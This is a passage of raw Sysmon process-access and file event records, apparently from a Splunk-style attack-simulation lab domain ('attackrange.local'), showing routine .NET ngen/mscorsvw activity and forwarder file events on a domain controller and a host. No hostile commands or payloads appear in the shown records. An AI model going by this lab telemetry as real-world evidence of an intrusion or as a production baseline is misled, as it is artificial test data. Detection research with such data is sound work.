dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.304{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9509-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.293{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9509-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.293{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9509-00000000F001}3836C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.234{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9409-00000000F001}4288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.224{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9409-00000000F001}4288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.224{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9409-00000000F001}4288C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.133{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9309-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.123{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9309-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.123{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9309-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.033{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9209-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.003{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9209-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.003{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9209-00000000F001}6824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013967Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:54.665{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013966Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:54.431{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FD52EE798D1D6D810056DD1FBC1288D3,SHA256=DE482984170EBAA8842FA0A75DDCC7CC173EF4BEA55BE4AC994F7C633AF6BEC3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.647{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A909-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.637{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A909-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.637{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A909-00000000F001}4264C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.593{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A809-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.577{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A809-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.577{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A809-00000000F001}6756C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.537{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A709-00000000F001}6752C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.517{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F66-613B-A709-00000000F001}6752C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044609Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.517{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F66-613B-A709-00000000F001}6752C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:54.477{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F66-613B-A609-00000000F001}6180C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 